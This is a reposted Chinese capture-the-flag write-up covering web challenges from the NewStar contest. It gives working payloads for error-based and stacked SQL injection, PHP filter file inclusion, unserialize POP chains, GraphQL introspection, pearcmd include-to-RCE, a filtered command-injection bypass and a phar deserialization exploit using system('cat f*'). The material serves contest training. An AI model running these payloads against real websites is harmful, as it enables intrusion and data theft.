文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

萌新赛(NewStar)

2023-10-26 11:50

关注

如有侵权,请联系我,立即删除。 

最近的这个“萌新”,赛感觉很有必要记录一下。

目录

Word-For-You(2 Gen)

 IncludeOne

UnserializeOne

ezAPI

第三周

multiSQL

IncludeTwo

$_SERVER['argv']#是通过+作为分隔符的


Word-For-You(2 Gen)

第一周的时候就是一个万能密码,这是第二周有了一点的提示,当时我困在这里尝试了很多闭合的方式 '  "等等,也是报错注入用到的不是特别的多,所以每次都不能快速的用到。

1' or updatexml(1,concat(0x7e,database()),1) # 

当时也是做到这里了,但是

 这里有东西被挡住了,我以为是一些报错所以就没太留意,唉

 这不就爆出来数据库名

1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#

查询到了四个数据库表,猜一下是不是wfy_admin 

1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="wfy_admin")),1)#

 1' or updatexml(1,concat(0x7e,(select group_concat(username,password) from wfy_admin)),1)#

 说明数据库表不正确,换个表继续

最后没记错flag好像在 wfy_comments 这个表里的text下

 1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="wfy_comments")),1)#

最终在text字段

1' or updatexml(1,concat(0x7e,(select group_concat(text) from wfy_comments)),1)#

 感觉是限制了长度,后面应该还有东西,没准flag就在最后 所以我们倒序一下

1' or updatexml(1,concat(0x7e,(select reverse(group_concat(text)) from wfy_comments)),1)#

 猜测正确,果然是输出长度进行了限制我们在对这个字符串进行求反操作就可

s='}sr0rre_emos_ek2m_t4uJ{galf'print(s[::-1])

 IncludeOne

if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){        //flag in `flag.php`        include($_GET['file']);

 这道题相对比较简单,就是点一下就过了,首先是随机种子会有一定的顺序

然后这里禁了base,并且正则要求命令中必须含有NewStar,

?file=php://filter/NewStar/read=string.rot13/resource=flag.php

 这里Newstar没起到任何的作用,然后将flag.php中的数据进行了,rot13编码,最后解码就可

UnserializeOne

name;    }    public function __isset($var)    {        ($this->func)();    }}class Sec{    private $obj;    private $var;    public function __toString()    {        $this->obj->check($this->var);        return "CTFers";    }    public function __invoke()    {        echo file_get_contents('/flag');    }}class Easy{    public $cla;    public function __call($fun, $var)    {        $this->cla = clone $var[0];    }}class eeee{    public $obj;    public function __clone()    {        if(isset($this->obj->cmd)){            echo "success";        }    }}if(isset($_POST['pop'])){    unserialize($_POST['pop']);}

pop链的题目,首先我们先锁定链尾

  public function __invoke()
    {
        echo file_get_contents('/flag');
    }看到这里读取/flag,然后往上面找触发invoke

public function __isset($var)
    {
        ($this->func)();
    }

  public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

然后看到tostring  , destruct 

直接写出

Start::destruct-->Sec::-->toString-->Easy::call-->eeee::clone-->Start::isset-->Sec::invoke

name=$s1;$s1->obj= $E;$s1->var=$e1;$e1->obj=$S1;$S1->func=$s2;echo (serialize($S));

这里虽然有protected定义的私有变量,在php 7.1+可以换成 public,

public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }

这要是在这卡了我一会,this->obj 等于 call的类,然后this-var也需要在上面的类赋值,因为下面的形参有两个,this->var的类就是call触发下面的类

ezAPI

qsdz开发了一个查询网页,但是好像存在一些漏洞?

这里看了师傅的wp才知道是graphql,第一次接触

graphQL常见的是这种形式以后碰见就可以用到

一般考察的是,内省查询,就是本来只应该内部进行访问,但配置错误导致攻击者可以获得这些消息。

内省查询的数据为

{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

 这样就会返回所有API端点的所有信息

玩转graphQL

 array(            'method' => 'POST',            'header' => 'Content-type: application/json',            'content' => $data,            'timeout' => 10 * 60        )    );    $context = stream_context_create($options);    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);    return $result;}if(isset($id)){    if(waf($id)){        isset($_POST['data']) ? $data=$_POST['data'] : $data='{"query":"query{\nusers_user_by_pk(id:'.$id.') {\nname\n}\n}\n", "variables":null}';        $res = json_decode(send($data));        if($res->data->users_user_by_pk->name !== NULL){            echo "ID: ".$id."
Name: ".$res->data->users_user_by_pk->name; }else{ echo "Can't found it!
DEBUG: "; var_dump($res->data); } }else{ die("Hacker!"); }}else{ die("No Data?");}?>

这里发现post传入的data是可控的,所以可以是内省查询的注入点 

 这里找到了一个flag的接口,可是怎末读它呢

看到源码给出了这一条命令,那我们进行模仿一下

$data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}'

 读取成功flag的接口,获得flag!

第三周

 第三周web

multiSQL

第三周打开以后,感觉难了好多好多

听说火华师傅四级又挂掉了,他不好给他的英语老师交代,你能帮他改改成绩通过学校的验证嘛~

题目给了人名火华

425通过,可是加起来是424

当时我的思路,就是进行update直接更新,然后堆叠注入查出来表名         

首先试出来闭合方式,只有'单引号的返回结果不一样

         

 

然后使用update发现被过滤掉了!!!

尝试了绕过方式过不去,然后就想想想如果用insert插入一条记录是不是也可以

呃呃呃,insert也被过滤了

只能百度搜索,replace  into table (id,name) values('1','aa'),('2','bb') 

发现这个也是插入的语句

1';replace into score values ("火华",50,200,200);)

然后命令框输入火华查询记录,

 有了两条记录,这时候删除第一条不就可以了吗

1';delete from score where listen=11;

 点击上面获得flag

IncludeTwo

最近一直遇到这样的题,可是一般的通过base64加密就可以绕过了,可是这道题不行呀、

这道题最后放出了提示pear到getshell

没见过,那就了解一下

include $_GET['f'].php)这个是pear的标志模板

简单来说就是利用这个文件中的pear命令行,其中有个可利用参数config-create,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。

然后配置信息的registerargcargv必须是开启的状态

$_SERVER['argv']#是通过+作为分隔符的

/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/+/tmp/hello.php

直接解释代码了,这里的file=后面的路径,是pearcmd的默认路径,因为include 后面有个.php,所以/usr/local/lib/php/pearcmd.php,去掉了php ,前后就是固定的格式

然后最好再burp更改,在浏览器更改<>会自动解码可能导致运行不成功

最后获得flag

参考文章:

register_argc_argv与include to RCE的巧妙组合 - Longlone's Bloghttps://www.cnblogs.com/iwantflag/p/15602747.html这篇博客写的。具体原理就是利用pearcmd.php来实现文件包含

week 4 

So Baby RCE

|`|\/| |\\\\|\*/i',$_GET["cmd"])){       echo "Don't Hack Me";    }else{        system($_GET["cmd"]);    }}else{    show_source(__FILE__);}

打开界面好家伙,所以的读取命令,同或异或都没了,这我咋玩

说明肯定有一个特殊的点,

直接用

?cmd=cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..%26%26${IFS}cd${IFS}..%26%26rev${IFS}fff?llllaaaaggggg

cd .. && cd .. 往上一句读取目录,ls

 用rev倒序读取,sort可以正序读取,获得flag

UnserializeThree 

 题目提示,rce 上传文件 反序列化 三重碰撞结合

其实看到前两者,很容易想到phar上传文件,所以我们现在的重点是,找到另外一个文件含有pop链的

常规手段:看源码 F12 扫目录

 直接访问,

|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){            //Same point ,can you bypass me again?            eval("#".$this->cmd);        }else{            echo "No!";        }    }}file_exists($_GET['file']);

eval("#".$this->cmd); 构造链很好构造,现在的难点是如何绕过#把它给注释了,不能影响后面的内容,用filter伪协议rot13,不知道flag的文件名果断排除

以前都是运用闭合php绕过,但是这道题明显禁用了,可是也给出了一个提示

urldecode("0a")  和它差不多一样的还有一个urldecode("0d")回车,试了一下也是可以的

cmd=urldecode("%0d")."system('cat f*');";$phar = new Phar('ee.phar');$phar->startBuffering();$phar->setStub('GIF89a'.'');$phar->setMetadata($a);$phar->addFromString('test.txt', 'test');$phar->stopBuffering();?>

然后上传就可以了。

来源地址:https://blog.csdn.net/qq_62046696/article/details/127154063

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯